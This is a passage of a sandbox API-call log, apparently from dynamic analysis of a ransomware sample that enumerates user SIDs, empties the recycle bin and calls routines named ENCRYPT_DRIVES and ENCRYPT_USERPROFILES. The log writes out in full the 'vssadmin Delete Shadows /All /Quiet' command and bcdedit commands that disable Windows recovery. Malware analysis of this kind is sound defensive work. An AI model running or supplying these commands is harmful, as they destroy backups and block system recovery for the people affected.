wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff0c0) returned 0 [0030.149] PeekMessageW (in: lpMsg=0xe8f3dff0c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff0c0) returned 0 [0030.149] CharUpperBuffW (in: lpsz="HKEY_USERS", cchLength=0xa | out: lpsz="HKEY_USERS") returned 0xa [0030.149] RegOpenKeyExW (in: hKey=0xffffffff80000003, lpSubKey="", ulOptions=0x0, samDesired=0x20019, phkResult=0xe8f3dfea80 | out: phkResult=0xe8f3dfea80*=0xffffffff80000003) returned 0x0 [0030.149] RegEnumKeyExW (in: hKey=0xffffffff80000003, dwIndex=0x1, lpName=0xe8f3dfeb10, lpcchName=0xe8f3dfed58, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0xe8f3dfeb08 | out: lpName="S-1-5-19", lpcchName=0xe8f3dfed58, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0xe8f3dfeb08) returned 0x0 [0030.149] RegCloseKey (hKey=0xffffffff80000003) returned 0x0 [0030.149] PeekMessageW (in: lpMsg=0xe8f3dff0c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff0c0) returned 0 [0030.149] PeekMessageW (in: lpMsg=0xe8f3dff0c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff0c0) returned 0 [0030.149] PeekMessageW (in: lpMsg=0xe8f3dff0c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff0c0) returned 0 [0030.149] PeekMessageW (in: lpMsg=0xe8f3dff0c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff0c0) returned 0 [0030.149] CharUpperBuffW (in: lpsz="HKEY_USERS", cchLength=0xa | out: lpsz="HKEY_USERS") returned 0xa [0030.149] RegOpenKeyExW (in: hKey=0xffffffff80000003, lpSubKey="", ulOptions=0x0, samDesired=0x20019, phkResult=0xe8f3dfea80 | out: phkResult=0xe8f3dfea80*=0xffffffff80000003) returned 0x0 [0030.149] RegEnumKeyExW (in: hKey=0xffffffff80000003, dwIndex=0x2, lpName=0xe8f3dfeb10, lpcchName=0xe8f3dfed58, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0xe8f3dfeb08 | out: lpName="S-1-5-20", lpcchName=0xe8f3dfed58, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0xe8f3dfeb08) returned 0x0 [0030.149] RegCloseKey (hKey=0xffffffff80000003) returned 0x0 [0030.149] PeekMessageW (in: lpMsg=0xe8f3dff0c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff0c0) returned 0 [0030.149] PeekMessageW (in: lpMsg=0xe8f3dff0c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff0c0) returned 0 [0030.149] PeekMessageW (in: lpMsg=0xe8f3dff0c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff0c0) returned 0 [0030.149] PeekMessageW (in: lpMsg=0xe8f3dff0c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff0c0) returned 0 [0030.149] CharUpperBuffW (in: lpsz="HKEY_USERS", cchLength=0xa | out: lpsz="HKEY_USERS") returned 0xa [0030.149] RegOpenKeyExW (in: hKey=0xffffffff80000003, lpSubKey="", ulOptions=0x0, samDesired=0x20019, phkResult=0xe8f3dfea80 | out: phkResult=0xe8f3dfea80*=0xffffffff80000003) returned 0x0 [0030.149] RegEnumKeyExW (in: hKey=0xffffffff80000003, dwIndex=0x3, lpName=0xe8f3dfeb10, lpcchName=0xe8f3dfed58, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0xe8f3dfeb08 | out: lpName="S-1-5-21-3643094112-4209292109-138530109-1001", lpcchName=0xe8f3dfed58, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0xe8f3dfeb08) returned 0x0 [0030.149] RegCloseKey (hKey=0xffffffff80000003) returned 0x0 [0030.149] PeekMessageW (in: lpMsg=0xe8f3dff0c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff0c0) returned 0 [0030.149] PeekMessageW (in: lpMsg=0xe8f3dff0c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff0c0) returned 0 [0030.149] PeekMessageW (in: lpMsg=0xe8f3dff0c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff0c0) returned 0 [0030.149] PeekMessageW (in: lpMsg=0xe8f3dff0c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff0c0) returned 0 [0030.149] PeekMessageW (in: lpMsg=0xe8f3dff0c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff0c0) returned 0 [0030.150] PeekMessageW (in: lpMsg=0xe8f3dff7a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff7a0) returned 0 [0030.150] PeekMessageW (in: lpMsg=0xe8f3dff7a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff7a0) returned 0 [0030.150] CharUpperBuffW (in: lpsz="FILEWIPE", cchLength=0x8 | out: lpsz="FILEWIPE") returned 0x8 [0030.150] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0030.150] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0030.150] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0030.150] CharLowerBuffW (in: lpsz="byte[0]", cchLength=0x7 | out: lpsz="byte[0]") returned 0x7 [0030.150] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0030.150] CharUpperBuffW (in: lpsz="MEMSET", cchLength=0x6 | out: lpsz="MEMSET") returned 0x6 [0030.150] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0030.150] CharLowerBuffW (in: lpsz="ptr:cdecl", cchLength=0x9 | out: lpsz="ptr:cdecl") returned 0x9 [0030.150] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0030.150] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0030.150] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0030.150] CharUpperBuffW (in: lpsz="_WINAPI_CREATEFILE", cchLength=0x12 | out: lpsz="_WINAPI_CREATEFILE") returned 0x12 [0030.150] PeekMessageW (in: lpMsg=0xe8f3dfeda0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeda0) returned 0 [0030.150] PeekMessageW (in: lpMsg=0xe8f3dfeda0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeda0) returned 0 [0030.150] PeekMessageW (in: lpMsg=0xe8f3dfeda0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeda0) returned 0 [0030.150] PeekMessageW (in: lpMsg=0xe8f3dfeda0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeda0) returned 0 [0030.150] PeekMessageW (in: lpMsg=0xe8f3dfeda0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeda0) returned 0 [0030.150] PeekMessageW (in: lpMsg=0xe8f3dfeda0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeda0) returned 0 [0030.150] PeekMessageW (in: lpMsg=0xe8f3dfeda0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeda0) returned 0 [0030.150] PeekMessageW (in: lpMsg=0xe8f3dfeda0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeda0) returned 0 [0030.150] PeekMessageW (in: lpMsg=0xe8f3dfeda0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeda0) returned 0 [0030.150] PeekMessageW (in: lpMsg=0xe8f3dfeda0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeda0) returned 0 [0030.151] PeekMessageW (in: lpMsg=0xe8f3dfeda0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeda0) returned 0 [0030.151] PeekMessageW (in: lpMsg=0xe8f3dfeda0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeda0) returned 0 [0030.151] PeekMessageW (in: lpMsg=0xe8f3dfeda0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeda0) returned 0 [0030.151] PeekMessageW (in: lpMsg=0xe8f3dfeda0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeda0) returned 0 [0030.151] PeekMessageW (in: lpMsg=0xe8f3dfeda0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeda0) returned 0 [0030.151] PeekMessageW (in: lpMsg=0xe8f3dfeda0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeda0) returned 0 [0030.151] CharLowerBuffW (in: lpsz="handle", cchLength=0x6 | out: lpsz="handle") returned 0x6 [0030.151] PeekMessageW (in: lpMsg=0xe8f3dfeda0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeda0) returned 0 [0030.151] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0030.151] CharUpperBuffW (in: lpsz="_WINAPI_WRITEFILE", cchLength=0x11 | out: lpsz="_WINAPI_WRITEFILE") returned 0x11 [0030.151] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0030.151] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0030.151] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0030.151] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0030.151] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0030.151] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0030.151] CharUpperBuffW (in: lpsz="_WINAPI_CLOSEHANDLE", cchLength=0x13 | out: lpsz="_WINAPI_CLOSEHANDLE") returned 0x13 [0030.151] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0030.151] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0030.151] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0030.151] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0030.151] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0030.152] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0030.152] PeekMessageW (in: lpMsg=0xe8f3dff7a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff7a0) returned 0 [0030.152] SHEmptyRecycleBinW (hwnd=0x0, pszRootPath=0x0, dwFlags=0x7) returned 0x8000ffff [0030.238] PeekMessageW (in: lpMsg=0xe8f3dff7a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff7a0) returned 0 [0030.238] CharLowerBuffW (in: lpsz="int", cchLength=0x3 | out: lpsz="int") returned 0x3 [0030.239] Wow64RevertWow64FsRedirection (OlValue=0x1) returned 0 [0030.239] PeekMessageW (in: lpMsg=0xe8f3dff7a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff7a0) returned 0 [0030.239] CharUpperBuffW (in: lpsz="_RUNCMD", cchLength=0x7 | out: lpsz="_RUNCMD") returned 0x7 [0030.239] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0030.239] CreateProcessW (in: lpApplicationName=0x0, lpCommandLine="C:\\Windows\\system32\\cmd.exe /C title 4180649|vssadmin.exe Delete Shadows /All /Quiet", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x0, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5JgHKoaOfdp\\Desktop", lpStartupInfo=0xe8f3dff160*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0xe8f3dff0f0 | out: lpCommandLine="C:\\Windows\\system32\\cmd.exe /C title 4180649|vssadmin.exe Delete Shadows /All /Quiet", lpProcessInformation=0xe8f3dff0f0*(hProcess=0x2a0, hThread=0x2a8, dwProcessId=0x664, dwThreadId=0xb00)) returned 1 [0030.246] PeekMessageW (in: lpMsg=0xe8f3dff7a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff7a0) returned 0 [0030.246] CharUpperBuffW (in: lpsz="_RUNCMD", cchLength=0x7 | out: lpsz="_RUNCMD") returned 0x7 [0030.246] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0030.246] CreateProcessW (in: lpApplicationName=0x0, lpCommandLine="C:\\Windows\\system32\\cmd.exe /C title 9538298|bcdedit /set {default} recoveryenabled No", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x0, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5JgHKoaOfdp\\Desktop", lpStartupInfo=0xe8f3dff160*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0xe8f3dff0f0 | out: lpCommandLine="C:\\Windows\\system32\\cmd.exe /C title 9538298|bcdedit /set {default} recoveryenabled No", lpProcessInformation=0xe8f3dff0f0*(hProcess=0x2a8, hThread=0x2a0, dwProcessId=0x9a8, dwThreadId=0x9ac)) returned 1 [0030.252] PeekMessageW (in: lpMsg=0xe8f3dff7a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff7a0) returned 0 [0030.252] CharUpperBuffW (in: lpsz="_RUNCMD", cchLength=0x7 | out: lpsz="_RUNCMD") returned 0x7 [0030.252] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0030.252] CreateProcessW (in: lpApplicationName=0x0, lpCommandLine="C:\\Windows\\system32\\cmd.exe /C title 8997147|bcdedit /set {default} bootstatuspolicy ignoreallfailures", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x0, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5JgHKoaOfdp\\Desktop", lpStartupInfo=0xe8f3dff160*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0xe8f3dff0f0 | out: lpCommandLine="C:\\Windows\\system32\\cmd.exe /C title 8997147|bcdedit /set {default} bootstatuspolicy ignoreallfailures", lpProcessInformation=0xe8f3dff0f0*(hProcess=0x2a0, hThread=0x2a8, dwProcessId=0x5f4, dwThreadId=0x870)) returned 1 [0030.259] PeekMessageW (in: lpMsg=0xe8f3dff7a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff7a0) returned 0 [0030.259] PeekMessageW (in: lpMsg=0xe8f3dffac0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dffac0) returned 0 [0030.259] PeekMessageW (in: lpMsg=0xe8f3dffac0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dffac0) returned 0 [0030.259] CharUpperBuffW (in: lpsz="START_THE_SHOW", cchLength=0xe | out: lpsz="START_THE_SHOW") returned 0xe [0030.259] PeekMessageW (in: lpMsg=0xe8f3dffac0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dffac0) returned 0 [0030.259] CharUpperBuffW (in: lpsz="ENCRYPT_DRIVES", cchLength=0xe | out: lpsz="ENCRYPT_DRIVES") returned 0xe [0030.259] PeekMessageW (in: lpMsg=0xe8f3dffac0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dffac0) returned 0 [0030.259] CharUpperBuffW (in: lpsz="DECRYPT_DRIVES", cchLength=0xe | out: lpsz="DECRYPT_DRIVES") returned 0xe [0030.259] PeekMessageW (in: lpMsg=0xe8f3dffac0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dffac0) returned 0 [0030.259] CharUpperBuffW (in: lpsz="ENCRYPT_USERPROFILES", cchLength=0x14 | out: lpsz="ENCRYPT_USERPROFILES") returned 0x14 [0030.259] PeekMessageW (in: lpMsg=0xe8f3dffac0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dffac0) returned 0 [0030.259] CharUpperBuffW (in: lpsz="DECRYPT_USERPROFILES", cchLength=0x14 | out: lpsz="DECRYPT_USERPROFILES") returned 0x14 [0030.259] PeekMessageW (in: lpMsg=0xe8f3dffac0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dffac0) returned 0 [0030.259] PeekMessageW (in: lpMsg=0xe8f3dffac0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dffac0) returned 0 [0030.259] PeekMessageW (in: lpMsg=0xe8f3dffac0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dffac0) returned 0 [0030.259] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0030.259] PeekMessageW (in: lpMsg=0xe8f3dff7a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff7a0) returned 0 [0030.259] PeekMessageW (in: lpMsg=0xe8f3dff7a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff7a0) returned 0 [0030.259] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0030.259] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0030.260] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0030.260] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0030.260] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0030.260] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0030.294] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0030.294] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0030.294] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0030.294] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0030.294] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0030.294] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0030.294] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0030.294] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0030.294] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0030.294] CryptAcquireContextA (in: phProv=0xe8f3dfebd0, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0xe8f3dfebd0*=0xe8f4067bb0) returned 1 [0030.294] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0030.294] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0030.295] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0030.295] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0030.295] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0030.295] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0030.295] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0030.295] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0030.295] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0030.295] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0030.295] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0030.295] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0030.295] 